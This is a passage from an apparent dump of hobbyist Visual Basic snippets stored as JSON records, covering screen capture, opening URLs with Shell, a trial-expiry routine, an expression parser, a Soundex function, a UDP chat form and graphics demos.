DebugTrace(v)\n Debug.Print v & \" \" & Elapsed()\nEnd Sub\nPublic Property Get Elapsed()\n If finish = 0 Then\n Elapsed = GetTickCount() - start\n Else\n Elapsed = finish - start\n End If\nEnd Property\n"},{"WorldId":1,"id":948,"LineNumber":1,"line":"Private Sub GrabScreen()\n'I wont format this because this box doesn't allow tabbing, my apologies... \nPicFinal.Cls\nDeleteDC (HwndSrc%)\nHwndSrc% = GetDesktopWindow()\nHSrcDC% = GetDC(HwndSrc%)\n'BitBlt requires coordinates in pixels.\nHDestDC% = PicFinal.HDC\nDWRop& = SRCCOPY\nSuc% = BitBlt(HDestDC%, 0, 0, 1024, 768, HSrcDC%, 0, 0, DWRop&)\nDmy% = ReleaseDC(HwndSrc%, HSrcDC%)\nPicCover.Picture = PicFinal.Image\nDeleteDC (HwndSrc%)\n \nEnd Sub\nPrivate Sub Item2_Click()\nCapture.Hide\nCapture.Visible = False\nGrabScreen\nCapture.Visible = True\nEnd Sub\nPrivate Sub Item3_Click()\nCls\nPicFinal.Cls\nPicCover.Cls\nPicFinal.Refresh\nPicCover.Refresh\nDeleteDC (HwndSrc%)\nEnd Sub\n"},{"WorldId":1,"id":959,"LineNumber":1,"line":"in textbox_keypress\nkeyascii = 0\nin textbox_keydown and textbox_keyup\nkeycode = 0\nIts as simple as that."},{"WorldId":1,"id":969,"LineNumber":1,"line":"'Instead of writing declarations and everything to open a web browser to your page try this:\n \nShell \"Start.exe \" & \"www.lcenterprises.net\", 0\n \n \n'The program start.exe executes the shell for any program in windows95, try this:\n \nShell Start.exe \" & \"mailto:lc-enterprises@usa.net\", 0\n \n'The line above will open the default mail client with your address on it, also:\n \nShell \"Start.exe \" & \"mailto:abcd@usa.com?Subject=Hello\", 0\n \n'With the subject \"Hello\" already filled.\n \n'The following line will open an html file with the default browser:\n \nShell \"Start.exe \" & \"c:\\hellopage.htm\", 0\n \n'If you have a program with a filelist box, try this to open the shell of a file with a double click event:\n \nShell \"Start.exe \" & \"\"\"\" & Filelist1.Path & Filelist1 & \"\"\"\", 0\n \n'Or try this, specially for WinNT:\nShell \"Explorer.exe \" & \"www.lcenterprises.net\", 0\n'The possibilities are endless, have fun!\n \n'Start.exe however doesn't work on WinNt/2000/XP, so use the following API which will always work:\nPrivate Declare Function ShellExecute Lib \"shell32\" Alias \"ShellExecuteA\" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long\n'Sample call:\nShellExecute hWnd, vbNullString, \"mailto:luis@yahoo.com?body=hello%0a%0world\", vbNullString, vbNullString, vbNormalFocus\n'In order to be able to put carriage returns or tabs in your text, replace vbCrLf and vbTab with the following HEX codes:\n%0a%0d = vbCrLf\n%09 = vbTab\n'These codes also work when sending URLs to a browser (GET, POST, etc.)\n'Luis Cantero\nL.C. Enterprises\nhttp://LCenterprises.net"},{"WorldId":1,"id":973,"LineNumber":1,"line":"Sub Main()\r\nDim OldTitle$\r\n If App.PrevInstance Then\r\n OldTitle = App.Title\r\n App.Title = \"Newapp.exe\"\r\n AppActivate OldTitle\r\n End\r\n End If\r\n Form1.Show\r\nEnd Sub"},{"WorldId":1,"id":981,"LineNumber":1,"line":"Function TrimVoid(strWhat)\n'*************************\n'Usage: x = TrimVoid(String)\n'*************************\n'Example: Chunk = TrimVoid(Chunk)\n'Filters all non-alphanumeric characters from string \"Chunk\".\n'*************************\nFor i = 1 To Len(strWhat)\nIf Mid(strWhat, i, 1) Like \"[a-zA-Z0-9]\" Then strNew = strNew & Mid(strWhat, i, 1)\nNext\nTrimVoid = strNew\nEnd Function\n'NOTES - replace the above code with the lines below to get the wanted results.\n'For trimming email addresses use this:\n'Like \"[a-zA-Z0-9._-]\"\n'For trimming web addresses use this:\n'Like \"[a-zA-Z0-9._/-]\"\n'To accept only numbers in a text box use this in the text box's Change Sub:\n'Like \"[0-9]\""},{"WorldId":1,"id":985,"LineNumber":1,"line":"Option Explicit\nPrivate Const NON_NUMERIC = 1\nPrivate Const PARENTHESIS_EXPECTED = 2\nPrivate Const NON_NUMERIC_DESCR = \"Non numeric value\"\nPrivate Const PARENTESIS_DESCR = \"Parenthesis expected\"\nPrivate Token As Variant 'Current token\n'*********************************************************************\n'*\n'* RECURSIVE DESCENT PARSER FOR NUMERIC EXPRESSIONS\n'*\n'* The function parses an string and returns the result.\n'* If the string is empty the string \"Empty\" is returned.\n'* If an error occurs the string \"Error\" is returned.\n'*\n'* The parser handles numerical expression with parentheses\n'* unary operators + and -\n'*\n'* The following table gives the rules of precedence and associativity\n'* for the operators:\n'*\n'* Operators on the same line have the same precedence and all operators\n'* on a given line have higher precedence than those on the line below.\n'*\n'* -----------------------------------------------------------\n'* Operators Type of operation Associativity\n'* ( ) Expression Left to right\n'* + - Unary Right to left\n'* * / Multiplication division Left to right\n'* -----------------------------------------------------------\n'*\n'* Sven-Erik Dahlrot 100260.1721@compuserve.com\n'*\n'*********************************************************************\nPublic Function EvaluateString(expr As String) As String\n Dim result As Variant\n Dim s1 As String\n Dim s2 As String 'White space characters\n Dim s3 As String 'Operators\n \n s2 = \" \" & vbTab 'White space characters\n s3 = \"+-/*()\" 'Operators\n \n On Error GoTo EvaluateString_Error\n \n Token = getToken(expr, s2, s3) 'Initialize\n \n EvalExp result 'Evaluate expression\n \n EvaluateString = result\nExit Function\nEvaluateString_Error:\n EvaluateString = \"Error\"\nEnd Function\n'**** EVALUATE AN EXPRESSION\nPrivate Function EvalExp(ByRef data As Variant)\n \n If Token <> vbNull And Token <> \"\" Then\n EvalExp2 data\n Else\n data = \"Empty\"\n End If\nEnd Function\n'* ADD OR SUBTRACT TERMS\nPrivate Function EvalExp2(ByRef data As Variant)\n Dim op As String\n Dim tdata As Variant\n \n EvalExp3 data\n \n op = Token\n Do While op = \"+\" Or op = \"-\"\n Token = getToken(Null, \"\", \"\")\n EvalExp3 tdata\n \n Select Case op\n \n Case \"+\"\n data = Val(data) + Val(tdata)\n Case \"-\"\n data = Val(data) - Val(tdata)\n End Select\n \n op = Token\n Loop\nEnd Function\n'**** MULTIPLY OR DIVIDE FACTORS\nPrivate Function EvalExp3(ByRef data As Variant)\n Dim op As String\n Dim tdata As Variant\n \n EvalExp4 data\n \n op = Token\n Do While op = \"*\" Or op = \"/\"\n Token = getToken(Null, \"\", \"\")\n EvalExp4 tdata\n Select Case op\n Case \"*\"\n data = Val(data) * Val(tdata)\n Case \"/\"\n data = Val(data) / Val(tdata)\n End Select\n \n op = Token\n Loop\nEnd Function\n'**** UNARY EXPRESSION\nPrivate Function EvalExp4(ByRef data As Variant)\n Dim op As String\n \n If Token = \"+\" Or Token = \"-\" Then\n op = Token\n Token = getToken(Null, \"\", \"\")\n End If\n \n EvalExp5 data\n \n If op = \"-\" Then data = -Val(data)\n \n End Function\n'**** PROCESS PARENTHESIZED EXPRESSION\nPrivate Function EvalExp5(ByRef data As Variant)\n \n If Token = \"(\" Then\n Token = getToken(Null, \"\", \"\")\n EvalExp data 'Subexpression\n If Token <> \")\" Then\n Err.Raise vbObjectError + PARENTHESIS_EXPECTED, \"Expression parser\", PARENTESIS_DESCR\n End If\n \n Token = getToken(Null, \"\", \"\")\n Else\n EvalAtom data\n End If\nEnd Function\n'* GET VALUE\nPrivate Function EvalAtom(ByRef data As Variant)\n If IsNumeric(Token) Then\n data = Token\n Else\n Err.Raise vbObjectError + NON_NUMERIC, \"Expression parser\", NON_NUMERIC_DESCR\n End If\n Token = getToken(Null, \"\", \"\")\nEnd Function\n'****************************************************************\n'*\n'* Tokenizer function\n'*\n'*\n'* When first time called s1 must contain the string to be tokenized\n'* and s2, s3 the delimites and operators, otherwise s1 should be Null\n'* and s2,s3 empty strings \"\"\n'*\n'* s2 contains delimiters\n'* s3 contains operators that act as both delimiters and tokens\n'*\n'* If no delimiter can be found in s1 the whole local copy is returned\n'* If there are no more tokens left, Null is returned\n'* If one delimiter follows another, the empty string \"\" is returned\n'*\n'* s1 is declared as Variant, because VB doesn't like to assign Null to a string.\n'*\n'****************************************************************\nPublic Function getToken(s1 As Variant, s2 As String, s3 As String) As Variant\n Static stmp As Variant\n Static wspace As String\n Static operators As String\n Dim i As Integer\n Dim schr As String\n \n getToken = Null\n \n 'Initialize first time calling\n If s1 <> \"\" Then\n stmp = s1\n wspace = s2\n operators = s3\n End If\n 'Nothing left to tokenize!\n If VarType(stmp) = vbNull Then\n Exit Function\n End If\n 'Loop until we find a delimiter or operator\n For i = 1 To Len(stmp)\n schr = Mid$(stmp, i, 1)\n If InStr(1, wspace, schr, vbTextCompare) = 0 Then 'White space\n If InStr(1, operators, schr, vbTextCompare) Then 'Operator\n getToken = Mid$(stmp, i, 1) 'Get it\n stmp = Mid(stmp, i + 1, Len(stmp))\n Exit Function\n Else 'It is a numeric value\n getToken = \"\"\n schr = Mid$(stmp, i, 1)\n Do While (schr >= \"0\" And schr <= \"9\") Or schr = \".\"\n getToken = getToken & schr\n i = i + 1\n schr = Mid$(stmp, i, 1)\n Loop\n If IsNumeric(getToken) Then\n stmp = Mid$(stmp, i, Len(stmp))\n Exit Function\n End If\n End If\n End If\n Next i\n 'No tokens was found, return whatever is left in stmp\n \n getToken = stmp\n stmp = Null\n \nEnd Function\n"},{"WorldId":1,"id":989,"LineNumber":1,"line":"Sub FloatingForm(frmParent as Form, frmFloater as form)\n frmFloater.show ,frmParent\nEnd sub"},{"WorldId":1,"id":994,"LineNumber":1,"line":"\n\nPublic Function TimeDelay(ByVal Delay As Long) As Boolean\nStatic Start As Long\nDim Elapsed As Long\nIf Start = 0 Then 'if start is 0 then set a\n Start = GetTickCount 'Static value to compare\nEnd If\nElapsed = GetTickCount\nIf (Elapsed - Start) >= Delay Then\n TimeDelay = True\n Start = 0 'Remember to reset start\nElse: TimeDelay = False 'once true so subsquent\nEnd If 'calls wont \"spoof\" on you!\nEnd Function\n"},{"WorldId":1,"id":995,"LineNumber":1,"line":"sub form_load()\nme.left = (screen.width / 2) - (me.width / 2)\nme.top = (screen.height / 2) - (me.height / 2)\nend sub"},{"WorldId":1,"id":1003,"LineNumber":1,"line":"Option Explicit\nDim day1 As Integer\nDim month1 As Integer\nDim basis As Long\nDim schrikbasis As Long\nDim e As Long\nDim year1 As Long\nDim moncode As Integer\nDim ff As Integer\nPrivate Sub Form_Load()\n' Expiredate(tm) 1.2 for freeware. It's usefull for makers of a kind of demo and shareware.\n' Copyright(c) 1998-1999,\n'\n' Expire day, month, year , total day\n' If you will make 30-day trial software then you can put total day\n' Example: day1,month1,year1, 30\n' Support is limited. See to www.tcsoftware.com\n'\nmonth1 = Month(Date)\nyear1 = Year(Date)\nday1 = Day(Date)\nTdate$ = format(Date$, \"DD/MM/YYYY\")\nCall expiredate(day1, month1, year1, 30)\nIf Mid(Tdate$, 7) > year1 Then GoTo diened\nIf Mid(Tdate$, 7) = year1 Then\n If Left(Mid(Tdate$, 4), 2) = month1 Then If Left(Tdate$, 2) > day1 Then GoTo \ndiened\n If Left(Mid(Tdate$, 4), 2) > month1 Then GoTo diened\n end if \ngoto er7\n diened:\n MsgBox \"Old version of Syscal has been expired!\"\ner7:\nLabel1.Caption = Str(day1) + \"-\" + Str(month1) + \"-\" + Str(Year(Date))\nEnd Sub\nSub expiredate(day1 As Integer, month1 As Integer, year1 As Long, expireday As Integer)\nDim moncode As Integer\nDim ff As Long\nDim basis As Long\nDim schrikbasis As Long\nDim e As Long\nday1 = day1 + expireday\nstart:\nmoncode = 1\nFor ff = 1 To 7\n If month1 = moncode Then\n If day1 > 31 Then\n day1 = day1 - 31: month1 = month1 + 1\n If month1 = 13 Then\n year1 = year1 + 1: month1 = 1: GoTo eind\n Else: GoTo eind\n End If\n Else: Exit Sub\nEnd If\nEnd If\nIf moncode = 1 Then moncode = 3: GoTo st1\nIf moncode = 7 Then moncode = 8: GoTo st1\nmoncode = moncode + 2\nst1:\nNext ff\nmoncode = 4\nff = 0\nFor ff = 1 To 5\nIf month1 = moncode Then\n If day1 > 30 Then\n day1 = day1 - 30: month1 = month1 + 1: GoTo eind\n Else: Exit Sub\n End If\nEnd If\nIf moncode = 6 Then moncode = 9: GoTo st2\nmoncode = moncode + 2\nst2:\nNext ff\nbasis = 1980\nschrikbasis = 2000\nFor e = 1 To 32000\nIf year1 = schrikbasis Then GoTo gewoon\nIf basis = schrikbasis Then schrikbasis = schrikbasis + 400\nIf year1 = basis Then If Month(Date) = 2 Then If day1 > 29 Then day1 = day1 - 29: month1 = month1 + 1: GoTo eind\nbasis = basis + 4\nNext e\ngewoon:\nIf month1 = 2 Then\nIf day1 > 28 Then\n day1 = day1 - 28: month1 = month1 + 1\n End If\n Else: Exit Sub\nEnd If\neind:\nGoTo start\neind1:\nEnd Sub\n"},{"WorldId":1,"id":1008,"LineNumber":1,"line":"\n------======== start copying AFTER this line ======---------\nVERSION 5.00\nBegin VB.Form frmMain \n AutoRedraw = -1 'True\n BackColor = &H00C0C0C0&\n Caption = \"Rotating Cube DEMO\"\n ClientHeight = 3195\n ClientLeft = 60\n ClientTop = 345\n ClientWidth = 4680\n FillColor = &H00C0C0C0&\n ForeColor = &H00FF0000&\n LinkTopic = \"Form1\"\n ScaleHeight = 213\n ScaleMode = 3 'Pixel\n ScaleWidth = 312\n StartUpPosition = 3 'Windows Default\n WindowState = 2 'Maximized\n Begin VB.PictureBox Picture1 \n BackColor = &H00FFFFFF&\n BorderStyle = 0 'None\n Height = 1140\n Left = -1035\n ScaleHeight = 76\n ScaleMode = 3 'Pixel\n ScaleWidth = 772\n TabIndex = 0\n Top = 1440\n Width = 11580\n Begin VB.Label Label1 \n AutoSize = -1 'True\n Caption = \"Move the mouse towards the edges of the form to adjust rotation and speed\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 12\n Charset = 161\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 300\n Left = 0\n TabIndex = 1\n Top = 0\n Width = 9135\n End\n End\n Begin VB.Timer Timer1 \n Interval = 1\n Left = 3825\n Top = 2835\n End\nEnd\nAttribute VB_Name = \"frmMain\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nPrivate X(8) As Integer\nPrivate y(8) As Integer\nPrivate Const Pi = 3.14159265358979\nPrivate CenterX As Integer\nPrivate CenterY As Integer\nPrivate Const SIZE = 250\nPrivate Radius As Integer\nPrivate Angle As Integer\nPrivate CurX As Integer\nPrivate CurY As Integer\nPrivate CubeCorners(1 To 8, 1 To 3) As Integer\n\nPrivate Sub Form_Load()\nShow\nWith Picture1\n.Width = Label1.Width\n.Height = Label1.Height\nEnd With\nPicture1.Move ScaleWidth / 2 - Picture1.ScaleWidth / 2, Picture1.Height\nCenterX = ScaleWidth / 2\nCenterY = ScaleHeight / 2\nAngle = 0\nRadius = Sqr(2 * (SIZE / 2) ^ 2)\nCubeCorners(1, 2) = SIZE / 2\nCubeCorners(2, 2) = SIZE / 2\nCubeCorners(3, 2) = -SIZE / 2\nCubeCorners(4, 2) = -SIZE / 2\nCubeCorners(5, 2) = SIZE / 2\nCubeCorners(6, 2) = SIZE / 2\nCubeCorners(7, 2) = -SIZE / 2\nCubeCorners(8, 2) = -SIZE / 2\nEnd Sub\nPrivate Sub DrawCube()\nCls\nFor i = 1 To 8\nX(i) = CenterX + CubeCorners(i, 1) - CubeCorners(i, 3) / 8\ny(i) = CenterY + CubeCorners(i, 2) + CubeCorners(i, 3) / 8\nNext\nLine (X(3), y(3))-(X(4), y(4))\nLine (X(4), y(4))-(X(8), y(8))\nLine (X(3), y(3))-(X(7), y(7))\nLine (X(7), y(7))-(X(8), y(8))\nLine (X(1), y(1))-(X(3), y(3))\nLine (X(1), y(1))-(X(2), y(2))\nLine (X(5), y(5))-(X(6), y(6))\nLine (X(5), y(5))-(X(1), y(1))\nLine (X(5), y(5))-(X(7), y(7))\nLine (X(6), y(6))-(X(8), y(8))\nLine (X(2), y(2))-(X(4), y(4))\nLine (X(2), y(2))-(X(6), y(6))\nLine (X(1), y(1))-(X(4), y(4))\nLine (X(2), y(2))-(X(3), y(3))\nLine (X(4), y(4))-(X(8), y(8))\nLine (X(3), y(3))-(X(7), y(7))\nDoEvents\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, y As Single)\nCurX = X\nCurY = y\nEnd Sub\nPrivate Sub Timer1_Timer()\nSelect Case CurX\nCase Is > ScaleWidth / 2\nAngle = Angle + Abs(CurX - ScaleWidth / 2) / 20\nIf Angle > 360 Then Angle = 0\nCase Else\nAngle = Angle - Abs(CurX - ScaleWidth / 2) / 20\nIf Angle < 0 Then Angle = 360\nEnd Select\nFor i = 1 To 3 Step 2\nCubeCorners(i, 3) = Radius * Cos((Angle) * Pi / 180)\nCubeCorners(i, 1) = Radius * Sin((Angle) * Pi / 180)\nNext\nFor i = 2 To 4 Step 2\nCubeCorners(i, 3) = Radius * Cos((Angle + 2 * 45) * Pi / 180)\nCubeCorners(i, 1) = Radius * Sin((Angle + 2 * 45) * Pi / 180)\nNext\nFor i = 5 To 7 Step 2\nCubeCorners(i, 3) = Radius * Cos((Angle + 6 * 45) * Pi / 180)\nCubeCorners(i, 1) = Radius * Sin((Angle + 6 * 45) * Pi / 180)\nNext\nFor i = 6 To 8 Step 2\nCubeCorners(i, 3) = Radius * Cos((Angle + 4 * 45) * Pi / 180)\nCubeCorners(i, 1) = Radius * Sin((Angle + 4 * 45) * Pi / 180)\nNext\nDrawCube\nEnd Sub\n\n-----==== paste the above into a text file and save it with\nan FRM suffix in ASCII format.Then just load the FRM file\nin the VB5 enviroment =========-------------------------"},{"WorldId":1,"id":1015,"LineNumber":1,"line":"Private Function HexRGB(lCdlColor As Long)\n Dim lCol As Long\n Dim iRed, iGreen, iBlue As Integer\n Dim vHexR, vHexG, vHexB As Variant\n \n 'Break out the R, G, B values from the common dialog color\n lCol = lCdlColor\n iRed = lCol Mod &H100\n lCol = lCol \\ &H100\n iGreen = lCol Mod &H100\n lCol = lCol \\ &H100\n iBlue = lCol Mod &H100\n \n 'Determine Red Hex\n vHexR = Hex(iRed)\n If Len(vHexR) < 2 Then\n vHexR = \"0\" & vHexR\n End If\n \n 'Determine Green Hex\n vHexG = Hex(iGreen)\n If Len(vHexG) < 2 Then\n vHexG = \"0\" & iGreen\n End If\n \n 'Determine Blue Hex\n vHexB = Hex(iBlue)\n If Len(vHexB) < 2 Then\n vHexB = \"0\" & vHexB\n End If\n 'Add it up, return the function value\n HexRGB = \"#\" & vHexR & vHexG & vHexB\nEnd Function"},{"WorldId":1,"id":1029,"LineNumber":1,"line":"Private Sub cmdC_Click()\n If Len(txtNick) < 1 Then 'make sure there is a nickname entered\n MsgBox \"You must enter a nickname first!\"\n txtNick.SetFocus 'put the cursor in the nickname textbox\n Exit Sub\n End If\n \n If Len(txtHost) < 1 Or Len(txtLocalP) < 1 Or Len(txtRemoteP) < 1 Then\n MsgBox \"Please make sure a Host, a Local Port, and a Remote Port have been entered!\"\n Exit Sub\n End If\n sckSend.RemoteHost = txtHost 'set the host\n sckSend.LocalPort = txtLocalP 'set the local port\n sckSend.RemotePort = txtRemoteP 'set the remote port\n sckSend.Bind 'Connect!\n cmdSend.Enabled = True 'Enable the send button\n txtNick.Enabled = False 'Make it so you can't change your nickname\n txtSend.SetFocus 'you have been connected. put the cursor in the send textbox\nEnd Sub\nPrivate Sub cmdD_Click()\n'The disconnect button was pushed.\nEnd\nEnd Sub\nPrivate Sub cmdSend_Click()\n'The Send button was pushed\nsckSend.SendData txtNick.Text & \": \" & txtSend.Text & Chr$(13) & Chr$(10) 'Send whatever is wrtten in txtSend to the other person's chatroom.\ntxtMain.Text = txtMain.Text & txtNick.Text & \": \" & txtSend.Text & Chr$(13) & Chr$(10) 'Put it in your chatroom\ntxtMain.SelStart = Len(txtMain) 'scroll that chatroom down\ntxtSend.Text = \"\" 'clear the send textbox\nEnd Sub\nPrivate Sub Form_Load()\nsckSend.Protocol = sckUDPProtocol 'set protocol. For this type of chat, we are using UDP\ncmdSend.Enabled = False\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nEnd\nEnd Sub\nPrivate Sub sckSend_DataArrival(ByVal bytesTotal As Long)\n'We have received data!\nDim TheData As String\nOn Error GoTo ClearChat\nsckSend.GetData TheData, vbString 'extract the data\ntxtMain.Text = txtMain.Text & TheData 'add the data to our chatroom\ntxtMain.SelStart = Len(txtMain) 'scroll that chatroom down\nExit Sub\nClearChat:\nMsgBox \"Chat room ran out of memory and must be cleared!\"\ntxtMain.Text = \"\"\nEnd Sub\nPrivate Sub sckSend_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\nMsgBox \"An error occurred in winsock!\"\nEnd\nEnd Sub\n"},{"WorldId":1,"id":1051,"LineNumber":1,"line":"Directory = \"C:\\\"\nShell \"Explorer \" + Directory, vbNormalFocus\n' The above code opens the C:\\ directory as a new window"},{"WorldId":1,"id":1061,"LineNumber":1,"line":"'***********************************************************************\n'Function Name: ConvertToSoundex\n'Argument: A single name or word string\n'Return value: A 4 character code based on Soundex rules\n'Author: Darrell Sparti\n'EMail: dsparti@allwest.net\n'Date: 9-20-98\n'Description: All Soundex codes have 4 alphanumeric\n' characters, no more and no less, regardless\n' of the length of the string. The first\n' character is a letter and the other 3 are\n' numbers. The first letter of the string is\n' the first letter of the Soundex code. The\n' 3 digits are defined sequentially from the\n' string using the following key:\n' 1 = bpfv\n' 2 = cskgjqxz\n' 3 = dt\n' 4 = l\n' 5 = mn\n' 6 = r\n' No Code = aehiouyw\n' If the end of the string is reached before\n' filling in 3 numbers, 0's complete the code.\n' Example: Swartz = S632\n' Example: Darrell = D640\n' Example: Schultz = S432\n'NOTE: I have noticed some errors in other versions\n' of soundex code. Most noticably is the\n' fact that not only must the code ignore\n' the second letter in repeating letters\n' (ll,rr,tt,etc. for example), it must also\n' ignore letters next to one another with the\n' same soundex code (s and c for example).\n' Other wise, in the example above, Schultz\n' would return a value of S243 which is\n' incorrect.\n'********************************************************************\nOption Explicit\nPublic Function ConvertToSoundex(sInString As String) As String\n Dim sSoundexCode As String\n Dim sCurrentCharacter As String\n Dim sPreviousCharacter As String\n Dim iCharacterCount As Integer\n \n 'Convert the string to upper case letters and remove spaces\n sInString = UCase$(Trim(sInString))\n \n 'The soundex code will start with the first character _\n of the string\n sSoundexCode = Left(sInString, 1)\n \n 'Check the other characters starting at the second character\n iCharacterCount = 2\n \n 'Continue the conversion until the soundex code is 4 _\n characters long regarless of the length of the string\n Do While Not Len(sSoundexCode) = 4\n \n 'If the previous character has the same soundex code as _\n current character or the previous character is the same _\n as the current character, ignor it and move onto the next\n \n sCurrentCharacter = Mid$(sInString, iCharacterCount, 1)\n sPreviousCharacter = Mid$(sInString, iCharacterCount - 1, 1)\n \n If sCurrentCharacter = sPreviousCharacter Then\n iCharacterCount = iCharacterCount + 1\n ElseIf InStr(\"BFPV\", sCurrentCharacter) Then\n If InStr(\"BFPV\", sPreviousCharacter) Then\n iCharacterCount = iCharacterCount + 1\n End If\n ElseIf InStr(\"CGJKQSXZ\", sCurrentCharacter) Then\n If InStr(\"CGJKQSXZ\", sPreviousCharacter) Then\n iCharacterCount = iCharacterCount + 1\n End If\n ElseIf InStr(\"DT\", sCurrentCharacter) Then\n If InStr(\"DT\", sPreviousCharacter) Then\n iCharacterCount = iCharacterCount + 1\n End If\n ElseIf InStr(\"MN\", sCurrentCharacter) Then\n If InStr(\"MN\", sPreviousCharacter) Then\n iCharacterCount = iCharacterCount + 1\n End If\n Else\n End If\n \n 'If the end of the string is reached before there are 4 _\n characters in the soundex code, add 0 until there are _\n a total of 4 characters in the code\n If iCharacterCount > Len(sInString) Then\n sSoundexCode = sSoundexCode & \"0\"\n \n 'Otherwise, concatenate a number to the soundex code _\n base on soundex rules\n Else\n sCurrentCharacter = Mid$(sInString, iCharacterCount, 1)\n If InStr(\"BFPV\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"1\"\n ElseIf InStr(\"CGJKQSXZ\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"2\"\n ElseIf InStr(\"DT\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"3\"\n ElseIf InStr(\"L\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"4\"\n ElseIf InStr(\"MN\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"5\"\n ElseIf InStr(\"R\", sCurrentCharacter) Then\n sSoundexCode = sSoundexCode & \"6\"\n Else\n End If\n End If\n \n 'Check the next letter\n iCharacterCount = iCharacterCount + 1\n Loop\n \n 'Return the soundex code for the string\n ConvertToSoundex = sSoundexCode\nEnd Function\n"},{"WorldId":1,"id":1064,"LineNumber":1,"line":"'This example uses the MsgHook OCX but any similar OCX would also work\n'iAtom stores the id used by the hotkey. If you have more then one hot key, use one atom for each\nDim iAtom As Integer\nPrivate Sub Form_Load()\n Dim res As Long\n 'Get a value for atom \n iAtom = GlobalAddAtom(\"MyHotKey\")\n 'Register the Ctrl-Alt-T key combination as the hotkey\n res = RegisterHotKey(Me.hwnd, iAtom, MOD_ALT + MOD_CTRL, vbKeyT)\n 'Setup msghook to receive the WM_HOTKEY message \n Msghook1.HwndHook = Me.hwnd\n Msghook1.Message(WM_HOTKEY) = True\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Dim res As Long\n 'Remove the hotkey and delete the atom\n res = UnregisterHotKey(Me.hwnd, iAtom)\n res = GlobalDeleteAtom(iAtom)\nEnd Sub\nPrivate Sub Msghook1_Message(ByVal msg As Long, ByVal wp As Long, ByVal lp As Long, result As Long)\n If msg = WM_HOTKEY Then\n If wp = iAtom Then\n 'Do your thang...\n MsgBox \"Boing!!!\"\n End If\n End If\n Msghook1.InvokeWindowProc msg, wp, lp\nEnd Sub"},{"WorldId":1,"id":1067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1069,"LineNumber":1,"line":"' #VBIDEUtils#************************************************************\n' * Programmer Name : Waty Thierry\n' * Web Site : www.geocities.com/ResearchTriangle/6311/\n' * E-Mail : waty.thierry@usa.net\n' * Date : 24/09/98\n' * Time : 15:38\n' * Module Name : TextEffect_Module\n' * Module Filename : TextEffect.bas\n' **********************************************************************\n' * Comments : Try this text effect, great effects\n' * Ex :\n' * TextEffect Picture1, \"\", 12, 12, , 128, 0, RGB(&H80, 0, 0)\n' * TextEffect Me, \"\", 12, 12, , 128, 0, RGB(&H80, 0, 0)\n' *\n' *\n' **********************************************************************\nPublic Sub TextEffect(obj As Object, ByVal sText As String, ByVal lX As Long, ByVal lY As Long, Optional ByVal bLoop As Boolean = False, Optional ByVal lStartSpacing As Long = 128, Optional ByVal lEndSpacing As Long = -1, Optional ByVal oColor As OLE_COLOR = vbWindowText)\n ' #VBIDEUtils#************************************************************\n ' * Programmer Name : Waty Thierry\n ' * Web Site : www.geocities.com/ResearchTriangle/6311/\n ' * E-Mail : waty.thierry@usa.net\n ' * Date : 24/09/98\n ' * Time : 15:39\n ' * Module Name : TextEffect_Module\n ' * Module Filename : TextEffect.bas\n ' * Procedure Name : TextEffect\n ' * Parameters :\n ' * obj As Object\n ' * ByVal sText As String\n ' * ByVal lX As Long\n ' * ByVal lY As Long\n ' * Optional ByVal bLoop As Boolean = False\n ' * Optional ByVal lStartSpacing As Long = 128\n ' * Optional ByVal lEndSpacing As Long = -1\n ' * Optional ByVal oColor As OLE_COLOR = vbWindowText\n ' **********************************************************************\n ' * Comments :\n ' *** Kerning describes the spacing between characters when a font is written out.\n ' *** By default, fonts have a preset default kerning, but this very easy to modify\n ' *** under the Win32 API.\n ' *\n ' *** The following (rather unusally named?) API function is all you need:\n ' *\n ' *** Private Declare Function SetTextCharacterExtra Lib \"gdi32\" () (ByVal hdc As Long, ByVal nCharExtra As Long) As Long\n ' *\n ' *** By setting nCharExtra to a negative value, you bring the characters closer together,\n ' *** and by setting to a positive values the characters space out.\n ' *** It works with VB's print methods too.\n ' *\n ' *\n ' **********************************************************************\n Dim lhDC As Long\n Dim i As Long\n Dim x As Long\n Dim lLen As Long\n Dim hBrush As Long\n Static tR As RECT\n Dim iDir As Long\n Dim bNotFirstTime As Boolean\n Dim lTime As Long\n Dim lIter As Long\n Dim bSlowDown As Boolean\n Dim lCOlor As Long\n Dim bDoIt As Boolean\n \n lhDC = obj.hDC\n iDir = -1\n i = lStartSpacing\n tR.Left = lX: tR.Top = lY: tR.Right = lX: tR.Bottom = lY\n OleTranslateColor oColor, 0, lCOlor\n \n hBrush = CreateSolidBrush(GetSysColor(COLOR_BTNFACE))\n lLen = Len(sText)\n \n SetTextColor lhDC, lCOlor\n bDoIt = True\n \n Do While bDoIt\n lTime = timeGetTime\n If (i < -3) And Not (bLoop) And Not (bSlowDown) Then\n bSlowDown = True\n iDir = 1\n lIter = (i + 4)\n End If\n If (i > 128) Then iDir = -1\n If Not (bLoop) And iDir = 1 Then\n If (i = lEndSpacing) Then\n ' Stop\n bDoIt = False\n Else\n lIter = lIter - 1\n If (lIter <= 0) Then\n i = i + iDir\n lIter = (i + 4)\n End If\n End If\n Else\n i = i + iDir\n End If\n \n FillRect lhDC, tR, hBrush\n x = 32 - (i * lLen)\n SetTextCharacterExtra lhDC, i\n DrawText lhDC, sText, lLen, tR, DT_CALCRECT\n tR.Right = tR.Right + 4\n If (tR.Right > obj.ScaleWidth \\ Screen.TwipsPerPixelX) Then tR.Right = obj.ScaleWidth \\ Screen.TwipsPerPixelX\n DrawText lhDC, sText, lLen, tR, 